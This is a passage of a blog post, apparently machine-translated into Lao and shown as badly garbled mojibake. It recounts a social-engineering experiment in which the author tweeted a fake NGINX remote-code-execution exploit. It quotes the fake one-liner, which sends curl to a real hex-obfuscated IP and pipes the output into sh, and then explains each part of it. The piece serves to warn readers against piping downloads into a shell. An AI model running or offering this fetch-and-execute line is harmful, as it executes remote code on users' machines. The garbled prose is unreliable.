เบ„เบงเบฒเบกเบชเบณเป€เบฅเบฑเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบชเบฑเบ‡เบ„เบปเบกเบ”เป‰เบงเบเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ” nginx เบ›เบญเบก

เบซเบกเบฒเบโ€‹เป€เบซเบ”โ€‹. เปเบ›.: เบœเบนเป‰เบ‚เบฝเบ™ เบšเบฑเบ™เบ—เบถเบเบ•เบปเป‰เบ™เบชเบฐเบšเบฑเบš, เบˆเบฑเบ”เบžเบตเบกเบกเบฒเปƒเบ™เบงเบฑเบ™เบ—เบต 1 เป€เบ”เบทเบญเบ™เบกเบดเบ–เบธเบ™เบฒ, เป„เบ”เป‰เบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เปƒเบ™เบšเบฑเบ™เบ”เบฒเบœเบนเป‰เบ—เบตเปˆเบชเบปเบ™เปƒเบˆเปƒเบ™เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบ‚เบญเบ‡เบ‚เปเป‰เบกเบนเบ™. เป€เบžเบทเปˆเบญเป€เบฎเบฑเบ”เบชเบดเปˆเบ‡เบ™เบตเป‰, เบฅเบฒเบงเป„เบ”เป‰เบเบฐเบเบฝเบกเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ”เบ›เบญเบกเบชเปเบฒเบฅเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ—เบตเปˆเบšเปเปˆเป„เบ”เป‰เป€เบ›เบตเบ”เป€เบœเบตเบเปƒเบ™เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเป„เบŠเบ•เปŒเปเบฅเบฐเบˆเบฑเบ”เบžเบตเบกเบกเบฒเบกเบฑเบ™เบขเบนเปˆเปƒเบ™ Twitter เบ‚เบญเบ‡เบฅเบฒเบง. เบเบฒเบ™เบชเบปเบกเบกเบธเบ”เบ•เบดเบ–เบฒเบ™เบ‚เบญเบ‡เบฅเบฒเบง - เบˆเบฐเบ–เบทเบเป€เบ›เบตเบ”เป€เบœเบตเบเบ—เบฑเบ™เบ—เบตเป‚เบ”เบเบœเบนเป‰เบŠเปˆเบฝเบงเบŠเบฒเบ™เบ—เบตเปˆเบˆเบฐเป€เบซเบฑเบ™เบเบฒเบ™เบซเบผเบญเบเบฅเบงเบ‡เบ—เบตเปˆเบŠเบฑเบ”เป€เบˆเบ™เปƒเบ™เบฅเบฐเบซเบฑเบ” - เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบšเปเปˆเป„เบ”เป‰เบกเบฒเป€เบ›เบฑเบ™เบ„เบงเบฒเบกเบˆเบดเบ‡ ... เบžเบงเบเป€เบ‚เบปเบฒเป€เบเบตเบ™เบ„เบงเบฒเบกเบ„เบฒเบ”เบซเบงเบฑเบ‡เบ—เบฑเบ‡เบซเบกเบปเบ”, เปเบฅเบฐเปƒเบ™เบ—เบฒเบ‡เบเบปเบ‡เบเบฑเบ™เบ‚เป‰เบฒเบก: tweet เป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เบชเบฐเบซเบ™เบฑเบšเบชเบฐเบซเบ™เบนเบ™เบขเปˆเบฒเบ‡เบซเบผเบงเบ‡เบซเบผเบฒเบเบˆเบฒเบเบ›เบฐเบŠเบฒเบŠเบปเบ™เบˆเปเบฒเบ™เบงเบ™เบซเบฅเบฒเบเบ—เบตเปˆเบšเปเปˆ. เบเบงเบ”เป€เบšเบดเปˆเบ‡เป€เบ™เบทเป‰เบญเปƒเบ™เบ‚เบญเบ‡เบกเบฑเบ™.

เบ„เบงเบฒเบกเบชเบณเป€เบฅเบฑเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบชเบฑเบ‡เบ„เบปเบกเบ”เป‰เบงเบเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ” nginx เบ›เบญเบก

TL;DR: เบขเปˆเบฒเปƒเบŠเป‰เบ—เปเปˆเป„เบŸเบฅเปŒเปƒเบ™ sh เบซเบผเบท bash เบžเบฒเบเปƒเบ•เป‰เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เปƒเบ”เบเปเปˆเบ•เบฒเบก. เบ™เบตเป‰เปเบกเปˆเบ™เบงเบดเบ—เบตเบ—เบตเปˆเบ”เบตเบ—เบตเปˆเบˆเบฐเบชเบนเบ™เป€เบชเบเบเบฒเบ™เบ„เบงเบšเบ„เบธเบกเบ„เบญเบกเบžเบดเบงเป€เบ•เบตเบ‚เบญเบ‡เบ—เปˆเบฒเบ™.

เบ‚เป‰เบญเบเบขเบฒเบเปเบšเปˆเบ‡เบ›เบฑเบ™เป€เบฅเบทเปˆเบญเบ‡เบชเบฑเป‰เบ™เปƒเบซเป‰เบเบฑเบšเป€เบˆเบปเป‰เบฒเบเปˆเบฝเบงเบเบฑเบšเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ” PoC comic เบ—เบตเปˆเบชเป‰เบฒเบ‡เบ‚เบถเป‰เบ™เปƒเบ™เบงเบฑเบ™เบ—เบต 31 เบžเบถเบ”เบชเบฐเบžเบฒ. เบฅเบฒเบงโ€‹เป„เบ”เป‰โ€‹เบ›เบฐเบเบปเบ”โ€‹เบ•เบปเบงโ€‹เบขเปˆเบฒเบ‡โ€‹เบ—เบฑเบ™โ€‹เบเบฒเบ™โ€‹เปƒเบ™โ€‹เบเบฒเบ™โ€‹เบ•เบญเบšโ€‹เบชเบฐเปœเบญเบ‡โ€‹เบ‚เปˆเบฒเบงโ€‹เบˆเบฒเบ Alisa Esage Shevchenko, เบชเบฐเบกเบฒเบŠเบดเบ เบเบฒเบ™เบฅเบดเป€เบฅเบตเปˆเบกเบงเบฑเบ™เบชเบนเบ™ (ZDI), เบ‚เปเป‰เบกเบนเบ™เบ™เบฑเป‰เบ™เบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเปƒเบ™ NGINX เบ—เบตเปˆเบ™เปเบฒเป„เบ›เบชเบนเปˆ RCE (เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ”เบ—เบฒเบ‡เป„เบ) เบˆเบฐเบ–เบทเบเป€เบ›เบตเบ”เป€เบœเบตเบเปƒเบ™เป„เบงเป†เบ™เบตเป‰. เบ™เบฑเบšเบ•เบฑเป‰เบ‡เปเบ•เปˆ NGINX เบกเบตเบญเปเบฒเบ™เบฒเบ”เบซเบผเบฒเบเป€เบงเบฑเบšเป„เบŠเบ—เปŒ, เบ‚เปˆเบฒเบงเบ•เป‰เบญเบ‡เป€เบ›เบฑเบ™เบฅเบฐเป€เบšเบตเบ”. เปเบ•เปˆเป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบ„เบงเบฒเบกเบฅเปˆเบฒเบŠเป‰เบฒเปƒเบ™เบ‚เบฐเบšเบงเบ™เบเบฒเบ™ "เป€เบ›เบตเบ”เป€เบœเบตเบเบ„เบงเบฒเบกเบฎเบฑเบšเบœเบดเบ”เบŠเบญเบš", เบฅเบฒเบเบฅเบฐเบญเบฝเบ”เบ‚เบญเบ‡เบชเบดเปˆเบ‡เบ—เบตเปˆเป€เบเบตเบ”เบ‚เบถเป‰เบ™เปเบกเปˆเบ™เบšเปเปˆเบฎเบนเป‰ - เบ™เบตเป‰เปเบกเปˆเบ™เบ‚เบฑเป‰เบ™เบ•เบญเบ™เบกเบฒเบ”เบ•เบฐเบ–เบฒเบ™ ZDI.

เบ„เบงเบฒเบกเบชเบณเป€เบฅเบฑเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบชเบฑเบ‡เบ„เบปเบกเบ”เป‰เบงเบเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ” nginx เบ›เบญเบก
tweet เบเปˆเบฝเบงเบเบฑเบšเบเบฒเบ™เป€เบ›เบตเบ”เป€เบœเบตเบเบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเปƒเบ™ NGINX

เป‚เบ”เบเป„เบ”เป‰เบชเปเบฒเป€เบฅเบฑเบ”เบเบฒเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบเปˆเบฝเบงเบเบฑเบšเป€เบ•เบฑเบเบ™เบดเบเบเบฒเบ™ obfuscation เปƒเบซเบกเปˆเปƒเบ™ curl, เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเป„เบ”เป‰เบญเป‰เบฒเบ‡เป€เบ–เบดเบ‡ tweet เบ•เบปเป‰เบ™เบชเบฐเบšเบฑเบšเปเบฅเบฐ "เบฎเบปเปˆเบงเป„เบซเบฅ PoC เป€เบฎเบฑเบ”เบงเบฝเบ" เบ›เบฐเบเบญเบšเบ”เป‰เบงเบเป€เบชเบฑเป‰เบ™เบ”เบฝเบงเบ‚เบญเบ‡เบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเบชเบปเบกเบกเบธเบ”เบงเปˆเบฒเบ‚เบนเบ”เบฎเบตเบ”เบŠเปˆเบญเบ‡เบซเบงเปˆเบฒเบ‡เบ—เบตเปˆเบ„เบปเป‰เบ™เบžเบปเบš. เปเบ™เปˆเบ™เบญเบ™, เบ™เบตเป‰เปเบกเปˆเบ™เป€เบฅเบทเปˆเบญเบ‡เป„เบฎเป‰เบชเบฒเบฅเบฐเบ—เบตเปˆเบชเบปเบกเบšเบนเบ™. เบ‚เป‰เบญเบเบชเบปเบกเบกเบธเบ”เบงเปˆเบฒเบ‚เป‰เบญเบเบˆเบฐเบ–เบทเบเป€เบ›เบตเบ”เป€เบœเบตเบเบ—เบฑเบ™เบ—เบต, เปเบฅเบฐเบ”เบตเบ—เบตเปˆเบชเบธเบ”เบ‚เป‰เบญเบเบˆเบฐเป„เบ”เป‰เบฎเบฑเบšเบชเบญเบ‡เบชเบฒเบกเบ„เบฑเป‰เบ‡ (เป‚เบญเป‰เบ”เบต).

เบ„เบงเบฒเบกเบชเบณเป€เบฅเบฑเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบชเบฑเบ‡เบ„เบปเบกเบ”เป‰เบงเบเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ” nginx เบ›เบญเบก
tweet เบ”เป‰เบงเบเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ”เบ›เบญเบก

เบขเปˆเบฒเบ‡เปƒเบ”เบเปเบ•เบฒเบก, เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเบšเปเปˆเบชเบฒเบกเบฒเบ”เบˆเบดเบ™เบ•เบฐเบ™เบฒเบเบฒเบ™เบชเบดเปˆเบ‡เบ—เบตเปˆเป€เบเบตเบ”เบ‚เบถเป‰เบ™เบ•เปเปˆเป„เบ›. เบ„เบงเบฒเบกเบ™เบดเบเบปเบกเบ‚เบญเบ‡ tweet เบ‚เบญเบ‡เบ‚เป‰เบญเบเป€เบžเบตเปˆเบกเบ‚เบถเป‰เบ™เบชเบนเบ‡. เป€เบ›เบฑเบ™เป€เบฅเบทเปˆเบญเบ‡เปเบ›เบเบ—เบตเปˆ, เปƒเบ™เป€เบงเบฅเบฒเบ™เบตเป‰ (15:00 เป‚เบกเบ‡เบ‚เบญเบ‡เบกเบญเบ”เป‚เบเปƒเบ™เบงเบฑเบ™เบ—เบต 1 เบกเบดเบ–เบธเบ™เบฒ) เบกเบตเบ„เบปเบ™เบˆเปเบฒเบ™เบงเบ™เบซเบ™เป‰เบญเบเบ—เบตเปˆเบฎเบนเป‰เบงเปˆเบฒเบ™เบตเป‰เปเบกเปˆเบ™เบเบฒเบ™เบ›เบญเบกเปเบ›เบ‡. เบซเบผเบฒเบเบ„เบปเบ™ retweet เบกเบฑเบ™เป‚เบ”เบเบšเปเปˆเป„เบ”เป‰เบเบงเบ”เป€เบšเบดเปˆเบ‡เบกเบฑเบ™เบ—เบฑเบ‡เบซเบกเบปเบ” (เบ›เปˆเบญเบเปƒเบซเป‰เบœเบนเป‰เบ”เบฝเบงเบŠเบปเบกเป€เบŠเบตเบเบฎเบนเบšเบžเบฒเบš ASCII เบ—เบตเปˆเบซเบ™เป‰เบฒเบฎเบฑเบเบ—เบตเปˆเบกเบฑเบ™เบญเบญเบเบกเบฒ).

เบ„เบงเบฒเบกเบชเบณเป€เบฅเบฑเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบชเบฑเบ‡เบ„เบปเบกเบ”เป‰เบงเบเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ” nginx เบ›เบญเบก
เบžเบฝเบ‡โ€‹เปเบ•เปˆโ€‹เป€เบšเบดเปˆเบ‡โ€‹เบงเปˆเบฒโ€‹เบกเบฑเบ™โ€‹เบ‡เบฒเบกโ€‹!

เปƒเบ™เบ‚เบฐเบ™เบฐเบ—เบตเปˆ loops เปเบฅเบฐเบชเบตเบ—เบฑเบ‡เบซเบกเบปเบ”เป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰เปเบกเปˆเบ™เบ”เบต, เบกเบฑเบ™เป€เบ›เบฑเบ™เบ—เบตเปˆเบŠเบฑเบ”เป€เบˆเบ™เบงเปˆเบฒเบ›เบฐเบŠเบฒเบŠเบปเบ™เบ•เป‰เบญเบ‡เปเบฅเปˆเบ™เบฅเบฐเบซเบฑเบ”เปƒเบ™เป€เบ„เบทเปˆเบญเบ‡เบ‚เบญเบ‡เบžเบงเบเป€เบ‚เบปเบฒเป€เบžเบทเปˆเบญเป€เบšเบดเปˆเบ‡เบžเบงเบเบกเบฑเบ™. เป‚เบŠเบเบ”เบต, เบ•เบปเบงเบ—เปˆเบญเบ‡เป€เบงเบฑเบšเป€เบฎเบฑเบ”เบงเบฝเบเปเบšเบšเบ”เบฝเบงเบเบฑเบ™, เปเบฅเบฐเบšเบงเบเบเบฑเบšเบ„เบงเบฒเบกเบˆเบดเบ‡เบ—เบตเปˆเบงเปˆเบฒเบ‚เป‰เบญเบเบšเปเปˆเบขเบฒเบเป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เบšเบฑเบ™เบซเบฒเบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบเบปเบ”เบซเบกเบฒเบ, เบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเบเบฑเบ‡เบขเบนเปˆเปƒเบ™เป€เบงเบฑเบšเป„เบŠเบ—เปŒเบ‚เบญเบ‡เบ‚เป‰เบญเบเปเบกเปˆเบ™เบžเบฝเบ‡เปเบ•เปˆเป€เบฎเบฑเบ”เปƒเบซเป‰เบเบฒเบ™เป‚เบ—เบชเบฝเบ‡เบ”เบฑเบ‡เป‚เบ”เบเบšเปเปˆเบกเบตเบเบฒเบ™เบžเบฐเบเบฒเบเบฒเบกเบ•เบดเบ”เบ•เบฑเป‰เบ‡เบซเบผเบทเบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ”เป€เบžเบตเปˆเบกเป€เบ•เบตเบก.

A digression เบ‚เบฐโ€‹เบซเบ™เบฒเบ”โ€‹เบ™เป‰เบญเบโ€‹: เบกเบถเบ™เป€เบกเบปเบฒ, dnz, เบ‚เป‰เบญเบเปเบฅเบฐเบ„เบปเบ™เบญเบทเปˆเบ™เป†เบˆเบฒเบเบ—เบตเบกเบ‡เบฒเบ™ เบเบนเบ‡เบŠเบปเบ™ เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบซเบผเบตเป‰เบ™เบเบฑเบšเบงเบดเบ—เบตเบเบฒเบ™เบ•เปˆเบฒเบ‡เป†เป€เบžเบทเปˆเบญเบฅเบปเบšเบเบงเบ™เบ„เปเบฒเบชเบฑเปˆเบ‡ curl เบชเปเบฒเบฅเบฑเบšเป„เบฅเบเบฐเบซเบ™เบถเปˆเบ‡เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบงเปˆเบฒเบกเบฑเบ™เป€เบขเบฑเบ™ ... เปเบฅเบฐเบžเบงเบเป€เบฎเบปเบฒ geeks. netspooky เปเบฅเบฐ dnz เบ„เบปเป‰เบ™เบžเบปเบšเบงเบดเบ—เบตเบเบฒเบ™เปƒเบซเบกเปˆเบˆเปเบฒเบ™เบงเบ™เบซเบ™เบถเปˆเบ‡เบ—เบตเปˆเป€เบšเบดเปˆเบ‡เบ„เบทเบงเปˆเบฒเบ”เบตเบซเบผเบฒเบเบชเปเบฒเบฅเบฑเบšเบ‚เป‰เบญเบ. เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเป„เบ”เป‰เป€เบ‚เบปเป‰เบฒเบฎเปˆเบงเบกเปƒเบ™เบ„เบงเบฒเบกเบกเปˆเบงเบ™เปเบฅเบฐเบžเบฐเบเบฒเบเบฒเบกเป€เบžเบตเปˆเบกเบเบฒเบ™เปเบ›เบ‡เป€เบฅเบเบ—เบปเบ”เบชเบฐเบ™เบดเบเบปเบก IP เบเบฑเบšเบ–เบปเบ‡เบ‚เบญเบ‡ tricks. เบกเบฑเบ™เบ›เบฐเบเบปเบ”เบงเปˆเบฒ IP เบเบฑเบ‡เบชเบฒเบกเบฒเบ”เบ–เบทเบเบ›เปˆเบฝเบ™เป€เบ›เบฑเบ™เบฎเบนเบšเปเบšเบšเป€เบฅเบเบ–เบฒเบ™เบชเบดเบšเบซเบปเบ. เบเบดเปˆเบ‡เป„เบ›เบเบงเปˆเบฒเบ™เบฑเป‰เบ™, curl เปเบฅเบฐเป€เบ„เบทเปˆเบญเบ‡เบกเบท NIX เบญเบทเปˆเบ™เป†เบชเปˆเบงเบ™เปƒเบซเบเปˆเบกเบตเบ„เบงเบฒเบกเบชเบธเบเบเบดเบ™ IPs hexadecimal! เบชเบฐเบ™เบฑเป‰เบ™เบกเบฑเบ™เป€เบ›เบฑเบ™เบžเบฝเบ‡เปเบ•เปˆเป€เบฅเบทเปˆเบญเบ‡เบ‚เบญเบ‡เบเบฒเบ™เบชเป‰เบฒเบ‡เป€เบชเบฑเป‰เบ™เบ„เปเบฒเบชเบฑเปˆเบ‡เบ—เบตเปˆเบซเบ™เป‰เบฒเป€เบŠเบทเปˆเบญเบ–เบทเปเบฅเบฐเบ›เบญเบ”เป„เบž. เปƒเบ™เบ—เบตเปˆเบชเบธเบ”เบ‚เป‰เบญเบเป„เบ”เป‰เบ•เบปเบเบฅเบปเบ‡เบเบฑเบšเบญเบฑเบ™เบ™เบตเป‰:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

เบงเบดเบชเบฐเบงเบฐเบเบณเบญเบตเป€เบฅเบฑเบเป‚เบ—เบฃเบ™เบดเบ-เบชเบฑเบ‡เบ„เบปเบก (SEE) - เบซเบผเบฒเบเบเปˆเบงเบฒเบžเบฝเบ‡เปเบ•เปˆ phishing

เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž เปเบฅเบฐ เบ„เบงเบฒเบกเบ„เบธเป‰เบ™เป€เบ„เบตเบเป€เบ›เบฑเบ™เบชเปˆเบงเบ™เบชเบณเบ„เบฑเบ™เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ™เบตเป‰. เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเบ„เบดเบ”เบงเปˆเบฒเบžเบงเบเป€เบ‚เบปเบฒเป€เบ›เบฑเบ™เบชเบดเปˆเบ‡เบ—เบตเปˆเบ™เปเบฒเป„เบ›เบชเบนเปˆเบ„เบงเบฒเบกเบชเปเบฒเป€เบฅเบฑเบ”เบ‚เบญเบ‡เบฅเบฒเบง. เป€เบชเบฑเป‰เบ™เบ„เปเบฒเบชเบฑเปˆเบ‡เบŠเบตเป‰เปƒเบซเป‰เป€เบซเบฑเบ™เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบขเปˆเบฒเบ‡เบŠเบฑเบ”เป€เบˆเบ™เป‚เบ”เบเบเบฒเบ™เบญเป‰เบฒเบ‡เป€เบ–เบดเบ‡ "127.0.0.1" (localhost เบ—เบตเปˆเบกเบตเบŠเบทเปˆเบชเบฝเบ‡). Localhost เบ–เบทเบงเปˆเบฒเบ›เบญเบ”เป„เบž เปเบฅเบฐเบ‚เปเป‰เบกเบนเบ™เปƒเบ™เบกเบฑเบ™เบˆเบฐเบšเปเปˆเบญเบญเบเบˆเบฒเบเบ„เบญเบกเบžเบดเบงเป€เบ•เบตเบ‚เบญเบ‡เบ—เปˆเบฒเบ™.

เบ„เบงเบฒเบกเบ„เบธเป‰เบ™เป€เบ„เบตเบเปเบกเปˆเบ™เบญเบปเบ‡เบ›เบฐเบเบญเบš SEE เบ—เบตเปˆเบชเปเบฒเบ„เบฑเบ™เบ—เบตเบชเบญเบ‡เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡. เบ™เบฑเบšเบ•เบฑเป‰เบ‡เปเบ•เปˆเบœเบนเป‰เบŠเบปเบกเป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเบ•เบปเป‰เบ™เบ•เปเบ›เบฐเบเบญเบšเบ”เป‰เบงเบเบœเบนเป‰เบ—เบตเปˆเบ„เบธเป‰เบ™เป€เบ„เบตเบเบเบฑเบšเบžเบทเป‰เบ™เบ–เบฒเบ™เบ‚เบญเบ‡เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบ‚เบญเบ‡เบ„เบญเบกเบžเบดเบงเป€เบ•เบต, เบกเบฑเบ™เป€เบ›เบฑเบ™เบชเบดเปˆเบ‡เบชเปเบฒเบ„เบฑเบ™เบ—เบตเปˆเบˆเบฐเบชเป‰เบฒเบ‡เบฅเบฐเบซเบฑเบ”เป€เบžเบทเปˆเบญเปƒเบซเป‰เบšเบฒเบ‡เบชเปˆเบงเบ™เบ‚เบญเบ‡เบกเบฑเบ™เป€เบšเบดเปˆเบ‡เบ„เบทเบงเปˆเบฒเบ„เบธเป‰เบ™เป€เบ„เบตเบเปเบฅเบฐเบ„เบธเป‰เบ™เป€เบ„เบตเบ (เปเบฅเบฐเบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™เบˆเบถเปˆเบ‡เบ›เบญเบ”เป„เบž). เบเบฒเบ™เบเบนเป‰เบขเบทเบกเบญเบปเบ‡เบ›เบฐเบเบญเบšเบ‚เบญเบ‡เปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”เบเบฒเบ™เบ‚เบธเบ”เบ„เบปเป‰เบ™เป€เบเบปเปˆเบฒเปเบฅเบฐเบเบฒเบ™เบฅเบงเบกเป€เบญเบปเบฒเบžเบงเบเบกเบฑเบ™เปƒเบ™เบ—เบฒเบ‡เบ—เบตเปˆเบœเบดเบ”เบ›เบปเบเบเบฐเบ•เบดเป„เบ”เป‰เบžเบดเบชเบนเบ”เบงเปˆเบฒเบ›เบฐเบชเบปเบšเบœเบปเบ™เบชเปเบฒเป€เบฅเบฑเบ”เบซเบผเบฒเบ.

เบ‚เป‰เบฒเบ‡เบฅเบธเปˆเบกเบ™เบตเป‰เปเบกเปˆเบ™เบเบฒเบ™เบงเบดเป€เบ„เบฒเบฐเบฅเบฒเบเบฅเบฐเบญเบฝเบ”เบ‚เบญเบ‡ one-liner. เบ—เบธเบเบชเบดเปˆเบ‡เบ—เบธเบเบขเปˆเบฒเบ‡เบขเบนเปˆเปƒเบ™เบšเบฑเบ™เบŠเบตเบฅเบฒเบเบŠเบทเปˆเบ™เบตเป‰เบ™เบธเปˆเบ‡เป€เบชเบทเป‰เบญ เบฅเบฑเบเบชเบฐเบ™เบฐเป€เบ„เบทเปˆเบญเบ‡เบชเปเบฒเบญเบฒเบ‡, เปเบฅเบฐเบ•เบปเบงเบˆเบดเบ‡เปเบฅเป‰เบงเบšเปเปˆเบกเบตเบซเบเบฑเบ‡เบ•เป‰เบญเบ‡เบเบฒเบ™เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ‡เบฒเบ™เบ•เบปเบงเบˆเบดเบ‡เบ‚เบญเบ‡เบกเบฑเบ™.

เบญเบปเบ‡เบ›เบฐเบเบญเบšเบญเบฑเบ™เปƒเบ”เบ—เบตเปˆเบˆเปเบฒเป€เบ›เบฑเบ™เปเบ—เป‰เป†? เบ™เบตเป‰ -gsS, -O 0x0238f06a, |sh เปเบฅเบฐเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเป„เบŠเบ•เปŒเบ•เบปเบงเบกเบฑเบ™เป€เบญเบ‡. เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเป„เบŠเบ•เปŒเบšเปเปˆเบกเบตเบ„เปเบฒเปเบ™เบฐเบ™เปเบฒเบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบ, เปเบ•เปˆเบžเบฝเบ‡เปเบ•เปˆเปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบฎเบนเบšเบžเบฒเบš ASCII เป‚เบ”เบเปƒเบŠเป‰เบ„เปเบฒเบชเบฑเปˆเบ‡ echo เปƒเบ™ script เบ—เบตเปˆเบกเบตเบขเบนเปˆเปƒเบ™ index.html. เป€เบกเบทเปˆเบญเบœเบนเป‰เปƒเบŠเป‰เป€เบ‚เบปเป‰เบฒเป€เบชเบฑเป‰เบ™เบ—เบตเปˆเบกเบต |sh เปƒเบ™โ€‹เบเบฒเบ‡โ€‹, index.html loaded เปเบฅเบฐโ€‹เบ›เบฐโ€‹เบ•เบดโ€‹เบšเบฑเบ”โ€‹. เป‚เบŠเบเบ”เบต, เบœเบนเป‰เบ„เบธเป‰เบกเบ„เบญเบ‡เบ‚เบญเบ‡เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเบšเปเปˆเบกเบตเบ„เบงเบฒเบกเบ•เบฑเป‰เบ‡เปƒเบˆเบ—เบตเปˆเบšเปเปˆเบ”เบต.

  • ../../../%00 โ€” เป€เบ›เบฑเบ™โ€‹เบ•เบปเบงโ€‹เปเบ—เบ™โ€‹เป„เบ›โ€‹เบ™เบญเบโ€‹เบˆเบฒเบโ€‹เบฅเบฐโ€‹เบšเบปเบšโ€‹;
  • ngx_stream_module.so - เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เป„เบ›เบชเบนเปˆเป‚เบกเบ”เบนเบ™ NGINX เปเบšเบšเบชเบธเปˆเบก;
  • /bin/sh%00<'protocol:TCP' โ€” เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เบ„เบฒเบ”โ€‹เบงเปˆเบฒโ€‹เบˆเบฐโ€‹เป€เบ›เบตเบ”โ€‹เบ•เบปเบงโ€‹ /bin/sh เปƒเบ™เป€เบ„เบทเปˆเบญเบ‡เป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเปเบฅเบฐเบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบœเบปเบ™เบœเบฐเบฅเบดเบ”เป„เบ›เบซเบฒเบŠเปˆเบญเบ‡เบ—เบฒเบ‡ TCP;
  • -O 0x0238f06a#PLToffset - เบชเปˆเบงเบ™เบ›เบฐเบเบญเบšเบฅเบฑเบš, เป€เบชเบตเบก #PLToffset, เบกเบตเบฅเบฑเบเบชเบฐเบ™เบฐเป€เบ›เบฑเบ™เบเบฒเบ™เบŠเบปเบ”เป€เบŠเบตเบเบ„เบงเบฒเบกเบŠเบปเบ‡เบˆเปเบฒเบ—เบตเปˆเบšเบฑเบ™เบˆเบธเบขเบนเปˆเปƒเบ™ PLT;
  • |sh; - เบญเบตเบโ€‹เบชเปˆเบงเบ™โ€‹เบซเบ™เบถเปˆเบ‡โ€‹เบ—เบตเปˆโ€‹เบชเปเบฒโ€‹เบ„เบฑเบ™โ€‹. เบžเบงเบเป€เบฎเบปเบฒเบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เป„เบ”เป‰เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบœเบปเบ™เบœเบฐเบฅเบดเบ”เป„เบ›เบซเบฒ sh / bash เป€เบžเบทเปˆเบญเบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเบกเบฒเบˆเบฒเบเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเบ—เบตเปˆเบ–เบทเบเป‚เบˆเบกเบ•เบตเบ—เบตเปˆเบ•เบฑเป‰เบ‡เบขเบนเปˆ. 0x0238f06a (2.56.240.x);
